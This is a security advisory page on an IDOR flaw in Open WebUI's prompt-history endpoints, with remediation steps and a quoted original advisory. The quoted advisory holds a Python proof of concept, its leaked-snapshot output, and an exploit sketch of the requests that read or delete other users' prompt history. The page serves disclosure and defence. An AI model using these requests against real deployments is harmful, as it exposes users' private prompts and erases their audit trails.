Open WebUI versions up to 0.9.5 contain an insecure direct object reference (IDOR) flaw across three prompt version-history API endpoints—the diff viewer, the version-restore operation, and history deletion—where the server validates access to the URL's prompt_id but acts on caller-supplied history UUIDs without verifying ownership. An authenticated user can read another user's private prompt snapshots (which routinely contain system instructions, confidential variables, and internal operational context), overwrite their own prompt with a victim's content as a persistent copy, or delete a victim's history entries to impair audit trails. While EPSS is low at 0.00038, this CVE sits at the 88th percentile across all scored vulnerabilities, and the 102 prior CVEs filed against this package signal a pattern of recurring access control weaknesses rather than an isolated gap. Upgrade to open-webui 0.9.6 immediately; if patching is delayed, restrict the /api/v1/prompts/id/*/history/ path prefix to trusted network segments and audit API logs for cross-user history access patterns.
What is the risk?
Medium severity (CVSS 6.4, AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:L). Exploitation requires an authenticated account and knowledge of victim history UUIDs—the high attack complexity reflects that ID discovery is a prerequisite. However, this bar drops significantly if adjacent information-disclosure vulnerabilities in the same package (102 prior CVEs) expose history IDs, or if the deployment uses predictable identifier schemes. The confidentiality impact is rated High because prompt snapshots frequently hold system-level instructions and sensitive operational context that represent intellectual property. No public exploit code or active exploitation evidence exists at this time, and the CVE is absent from CISA KEV. For shared enterprise LLM interfaces, the effective risk is higher than the base score suggests due to the sensitivity of data stored in prompt history.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Open WebUI | pip | <= 0.9.5 | 0.9.6 |
Do you use Open WebUI? You're affected.
How severe is it?
What is the attack surface?
What should I do?
5 steps-
Patch: upgrade open-webui to 0.9.6, which introduces prompt_id binding checks on all three affected endpoints, mirroring the guard already present in the single-entry read endpoint.
-
Short-term workaround: restrict access to /api/v1/prompts/id/*/history/ via reverse-proxy ACLs (Nginx, Caddy, or equivalent) to trusted user segments if immediate patching is not possible.
-
Detection: query access logs for requests where the prompt_id in the URL does not correspond to the prompt associated with the supplied history IDs—cross-user patterns appear as a user's prompt_id accessing history rows belonging to a different owner; also audit the prompt_histories table for entries whose prompt_id was modified via the restore vector.
-
Secrets rotation: review prompt history contents for embedded credentials, API keys, or sensitive instructions and rotate any that may have been exposed.
-
Defense in depth: implement row-level security on the prompt_histories table (e.g., PostgreSQL RLS) so the database itself enforces ownership constraints independent of application logic.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-54015?
Open WebUI versions up to 0.9.5 contain an insecure direct object reference (IDOR) flaw across three prompt version-history API endpoints—the diff viewer, the version-restore operation, and history deletion—where the server validates access to the URL's prompt_id but acts on caller-supplied history UUIDs without verifying ownership. An authenticated user can read another user's private prompt snapshots (which routinely contain system instructions, confidential variables, and internal operational context), overwrite their own prompt with a victim's content as a persistent copy, or delete a victim's history entries to impair audit trails. While EPSS is low at 0.00038, this CVE sits at the 88th percentile across all scored vulnerabilities, and the 102 prior CVEs filed against this package signal a pattern of recurring access control weaknesses rather than an isolated gap. Upgrade to open-webui 0.9.6 immediately; if patching is delayed, restrict the /api/v1/prompts/id/*/history/ path prefix to trusted network segments and audit API logs for cross-user history access patterns.
Is CVE-2026-54015 actively exploited?
No confirmed active exploitation of CVE-2026-54015 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-54015?
1. Patch: upgrade open-webui to 0.9.6, which introduces prompt_id binding checks on all three affected endpoints, mirroring the guard already present in the single-entry read endpoint. 2. Short-term workaround: restrict access to /api/v1/prompts/id/*/history/ via reverse-proxy ACLs (Nginx, Caddy, or equivalent) to trusted user segments if immediate patching is not possible. 3. Detection: query access logs for requests where the prompt_id in the URL does not correspond to the prompt associated with the supplied history IDs—cross-user patterns appear as a user's prompt_id accessing history rows belonging to a different owner; also audit the prompt_histories table for entries whose prompt_id was modified via the restore vector. 4. Secrets rotation: review prompt history contents for embedded credentials, API keys, or sensitive instructions and rotate any that may have been exposed. 5. Defense in depth: implement row-level security on the prompt_histories table (e.g., PostgreSQL RLS) so the database itself enforces ownership constraints independent of application logic.
What systems are affected by CVE-2026-54015?
This vulnerability affects the following AI/ML architecture patterns: Enterprise LLM interfaces, Shared prompt management platforms, AI assistant deployments with multi-user access, Internal SOC and red-team AI tooling.
What is the CVSS score for CVE-2026-54015?
CVE-2026-54015 has a CVSS v3.1 base score of 6.4 (MEDIUM). The EPSS exploitation probability is 0.04%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0025 Exfiltration via Cyber Means AML.T0049 Exploit Public-Facing Application AML.T0056 Extract LLM System Prompt AML.T0085 Data from AI Services Compliance Controls Affected
What are the technical details?
Original Advisory
## Summary Open WebUI's prompt version-history endpoints authorize the `prompt_id` in the URL but then act on caller-supplied history IDs without verifying that the history row belongs to that prompt (`history_entry.prompt_id == prompt.id`). Three operations are affected: - `GET /api/v1/prompts/id/{prompt_id}/history/diff` — returns another prompt's history snapshots (read). - `POST /api/v1/prompts/id/{prompt_id}/update/version` — restores another prompt's snapshot into the caller's prompt, exposing its content (read). - `DELETE /api/v1/prompts/id/{prompt_id}/history/{history_id}` — deletes another prompt's history entry (delete). An authenticated user with access to any prompt they control, plus a victim `prompt_history.id`, can read or delete another user's private prompt history. The single-entry read endpoint (`GET .../history/{history_id}`) already enforces the binding; these three did not. ## Impact Security boundary crossed: prompt confidentiality and integrity. Prompt history snapshots can contain private prompt text, internal instructions, and sensitive variables. With a known victim `prompt_history.id`, an attacker can read another user's snapshot (via the diff endpoint or by restoring it into their own prompt) and delete another user's history entry. The active prompt row is not destroyed; the delete impact is against version history. Exploitation requires knowing or obtaining victim history UUIDs, so severity depends on adjacent ID exposure. ## Root Cause The route checks read access only for `prompt_id`: ```python # backend/open_webui/routers/prompts.py prompt = await Prompts.get_prompt_by_id(prompt_id, db=db) ... if not ( user.role == 'admin' or prompt.user_id == user.id or await AccessGrants.has_access( user_id=user.id, resource_type='prompt', resource_id=prompt.id, permission='read', db=db, ) ): raise HTTPException(...) ``` But the authorized prompt ID is not passed into the diff sink: ```python # backend/open_webui/routers/prompts.py diff = await PromptHistories.compute_diff(from_id, to_id, db=db) ``` `compute_diff()` fetches both history entries globally by ID and returns their full snapshots: ```python # backend/open_webui/models/prompt_history.py result_from = await db.execute(select(PromptHistory).filter(PromptHistory.id == from_id)) from_entry = result_from.scalars().first() result_to = await db.execute(select(PromptHistory).filter(PromptHistory.id == to_id)) to_entry = result_to.scalars().first() ... return { 'from_snapshot': from_snapshot, 'to_snapshot': to_snapshot, ... } ``` There is no check that `from_entry.prompt_id == prompt_id` or `to_entry.prompt_id == prompt_id`. The same missing binding affects two further endpoints. `POST .../update/version` restores a snapshot fetched globally by `version_id`: ```python # backend/open_webui/models/prompts.py — update_prompt_version history_entry = await PromptHistories.get_history_entry_by_id(version_id, db=session) ... prompt.content = snapshot.get('content', prompt.content) # foreign snapshot copied into caller's prompt prompt.version_id = version_id ``` `DELETE .../history/{history_id}` deletes an entry fetched globally by `history_id`: ```python # backend/open_webui/models/prompt_history.py — delete_history_entry result = await db.execute(select(PromptHistory).filter_by(id=history_id)) entry = result.scalars().first() ... await db.delete(entry) ``` Neither checks `entry.prompt_id == prompt.id`. The single-entry read endpoint (`GET .../history/{history_id}`) does (`history_entry.prompt_id != prompt.id → 404`); these three endpoints were missing it. ## PoC ```python #!/usr/bin/env python3 """ PoC for prompt history diff IDOR. The PoC executes: - the real routers.prompts.get_prompt_diff() route function - the real PromptHistories.compute_diff() implementation Fake model/DB adapters are used only to avoid requiring a running server. The security-sensitive behavior under test is that the route authorizes the prompt ID in the URL, then computes a diff for arbitrary history IDs without checking that those history rows belong to the authorized prompt. """ from __future__ import annotations import asyncio import json import os import sys import types from pathlib import Path from types import SimpleNamespace def prepare_imports() -> None: repo_root = Path(__file__).resolve().parents[1] sys.path.insert(0, str(repo_root / "backend")) os.environ["VECTOR_DB"] = "none" class DummyTyper: def command(self, *args, **kwargs): return lambda fn: fn sys.modules.setdefault( "typer", types.SimpleNamespace( Typer=lambda *args, **kwargs: DummyTyper(), Option=lambda *args, **kwargs: None, echo=lambda *args, **kwargs: None, Exit=Exception, ), ) sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda *args, **kwargs: None)) class FakeScalarResult: def __init__(self, row): self.row = row def first(self): return self.row class FakeExecuteResult: def __init__(self, row): self.row = row def scalars(self): return FakeScalarResult(self.row) class FakePromptHistoryDb: def __init__(self, rows): self.rows = rows self.calls = 0 async def execute(self, stmt): row = self.rows[self.calls] self.calls += 1 return FakeExecuteResult(row) class FakeDbContext: def __init__(self, db): self.db = db async def __aenter__(self): return self.db async def __aexit__(self, exc_type, exc, tb): return False async def run_real_compute_diff(from_id: str, to_id: str): import open_webui.models.prompt_history as history_module victim_from = SimpleNamespace( id=from_id, prompt_id="victim-prompt", snapshot={ "name": "Victim Prompt", "command": "/victim", "content": "PRIVATE_PROMPT_SECRET_V1", }, ) victim_to = SimpleNamespace( id=to_id, prompt_id="victim-prompt", snapshot={ "name": "Victim Prompt", "command": "/victim", "content": "PRIVATE_PROMPT_SECRET_V2", }, ) fake_db = FakePromptHistoryDb([victim_from, victim_to]) original_context = history_module.get_async_db_context try: history_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db) diff = await history_module.PromptHistories.compute_diff(from_id, to_id) finally: history_module.get_async_db_context = original_context return diff async def main() -> None: prepare_imports() import open_webui.routers.prompts as prompts_router attacker_prompt = SimpleNamespace( id="attacker-prompt", user_id="attacker", ) attacker = SimpleNamespace(id="attacker", role="user") victim_from_id = "victim-history-from" victim_to_id = "victim-history-to" class FakePrompts: looked_up_prompt_ids = [] async def get_prompt_by_id(self, prompt_id, db=None): self.looked_up_prompt_ids.append(prompt_id) if prompt_id == "attacker-prompt": return attacker_prompt return None class FakeAccessGrants: async def has_access(self, *args, **kwargs): return False class FakePromptHistories: compute_diff_calls = [] async def compute_diff(self, from_id, to_id, db=None): self.compute_diff_calls.append( { "from_id": from_id, "to_id": to_id, "authorized_prompt_id_not_passed": True, } ) return await run_real_compute_diff(from_id, to_id) fake_prompts = FakePrompts() fake_histories = FakePromptHistories() original = { "Prompts": prompts_router.Prompts, "AccessGrants": prompts_router.AccessGrants, "PromptHistories": prompts_router.PromptHistories, } try: prompts_router.Prompts = fake_prompts prompts_router.AccessGrants = FakeAccessGrants() prompts_router.PromptHistories = fake_histories diff = await prompts_router.get_prompt_diff( prompt_id="attacker-prompt", from_id=victim_from_id, to_id=victim_to_id, user=attacker, db=None, ) finally: for name, value in original.items(): setattr(prompts_router, name, value) result = { "confirmed": ( diff.get("from_snapshot", {}).get("content") == "PRIVATE_PROMPT_SECRET_V1" and diff.get("to_snapshot", {}).get("content") == "PRIVATE_PROMPT_SECRET_V2" and fake_prompts.looked_up_prompt_ids == ["attacker-prompt"] and fake_histories.compute_diff_calls and fake_histories.compute_diff_calls[0]["authorized_prompt_id_not_passed"] is True ), "attacker_user_id": "attacker", "authorized_prompt_id": "attacker-prompt", "victim_prompt_id": "victim-prompt", "victim_history_ids": [victim_from_id, victim_to_id], "prompt_ids_authorized_by_route": fake_prompts.looked_up_prompt_ids, "compute_diff_calls": fake_histories.compute_diff_calls, "leaked_from_snapshot": diff.get("from_snapshot"), "leaked_to_snapshot": diff.get("to_snapshot"), "source": { "route": "backend/open_webui/routers/prompts.py:get_prompt_diff", "sink": "backend/open_webui/models/prompt_history.py:PromptHistories.compute_diff", }, } print(json.dumps(result, indent=2, sort_keys=True)) if not result["confirmed"]: raise SystemExit(1) if __name__ == "__main__": asyncio.run(main()) ``` The PoC executes the real route function and the real `PromptHistories.compute_diff()` implementation with fake model/DB adapters. It authorizes the attacker against `attacker-prompt`, then supplies two victim history IDs. The route returns the victim prompt snapshots. Result: ```json { "attacker_user_id": "attacker", "authorized_prompt_id": "attacker-prompt", "confirmed": true, "leaked_from_snapshot": { "command": "/victim", "content": "PRIVATE_PROMPT_SECRET_V1", "name": "Victim Prompt" }, "leaked_to_snapshot": { "command": "/victim", "content": "PRIVATE_PROMPT_SECRET_V2", "name": "Victim Prompt" }, "prompt_ids_authorized_by_route": [ "attacker-prompt" ], "victim_history_ids": [ "victim-history-from", "victim-history-to" ], "victim_prompt_id": "victim-prompt" } ``` ## Exploit Sketch Read via the diff endpoint: 1. Attacker has read access to `ATTACKER_PROMPT_ID`. 2. Attacker knows two history IDs for a victim prompt: `VICTIM_FROM_HISTORY_ID` and `VICTIM_TO_HISTORY_ID`. 3. Attacker requests: ```text GET /api/v1/prompts/id/ATTACKER_PROMPT_ID/history/diff?from_id=VICTIM_FROM_HISTORY_ID&to_id=VICTIM_TO_HISTORY_ID ``` 4. The server authorizes `ATTACKER_PROMPT_ID`, then returns snapshots for the victim history IDs. Read via restore (`update/version`): the attacker `POST`s `{"version_id": "VICTIM_HISTORY_ID"}` to their own prompt's `update/version`, then `GET`s their prompt; it now holds the victim snapshot's name/content/data/meta/tags. Delete: the attacker sends `DELETE /api/v1/prompts/id/ATTACKER_PROMPT_ID/history/VICTIM_HISTORY_ID`; the victim history entry is removed. ## Recommended Fix Bind every prompt-history operation to the authorized prompt before acting on a history ID, mirroring the single-entry read endpoint: - `compute_diff()` should accept `prompt_id` and query both entries with `PromptHistory.prompt_id == prompt_id` alongside the id filter. - `delete_history_entry()` should accept `prompt_id` and filter `filter_by(id=history_id, prompt_id=prompt_id)`. - `update_prompt_version()` should reject `history_entry.prompt_id != prompt_id` before restoring. Return 404/403 on mismatch. ## Consolidation Per our Report Handling policy this consolidates independent reports of the same prompt-history authorization flaw (one missing `history_entry.prompt_id == prompt.id` binding) reached through different endpoints: - Diff-endpoint read and history deletion: @0xEr3n (earliest filings). - `update/version` restore-read: distinct path demonstrated by @5yu4n. One CVE for the consolidated advisory.
Exploitation Scenario
An attacker holds a legitimate Open WebUI account in a shared enterprise deployment. They create their own prompt, obtaining a valid attacker_prompt_id. To discover victim history UUIDs, they exploit a secondary information-disclosure flaw among the 102 known CVEs in the package, observe IDs surfaced in collaborative or shared-prompt contexts, or enumerate sequential/ULID-based identifiers. They then issue GET /api/v1/prompts/id/{attacker_prompt_id}/history/diff?from_id={victim_uuid_1}&to_id={victim_uuid_2}; the server validates only the attacker's prompt ownership and returns both victim snapshots in full, including private instructions and confidential content. For persistence, they POST {version_id: victim_uuid} to their own prompt's update/version endpoint, causing their active prompt to be silently replaced with the victim's content—a copy that now lives in the attacker's account. Finally, they issue DELETE against the victim's history entries, erasing forensic evidence and hindering incident response.
Weaknesses (CWE)
CWE-284 Improper Access Control
Primary
CWE-639 Authorization Bypass Through User-Controlled Key
Primary
CWE-284 — Improper Access Control: The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
- [Architecture and Design, Operation] Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
- [Architecture and Design] Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:L References
Timeline
Related Vulnerabilities
CVE-2026-44551 9.1 open-webui: LDAP auth bypass — full account takeover
Same package: open-webui CVE-2026-45672 8.8 open-webui: code exec gate bypass via API endpoint
Same package: open-webui CVE-2026-44552 8.7 open-webui: Redis cache poisoning enables cross-instance tool hijack
Same package: open-webui CVE-2025-64495 8.7 Open WebUI: XSS-to-RCE via malicious prompt injection
Same package: open-webui CVE-2026-45315 8.7 open-webui: stored XSS → JWT theft and admin takeover
Same package: open-webui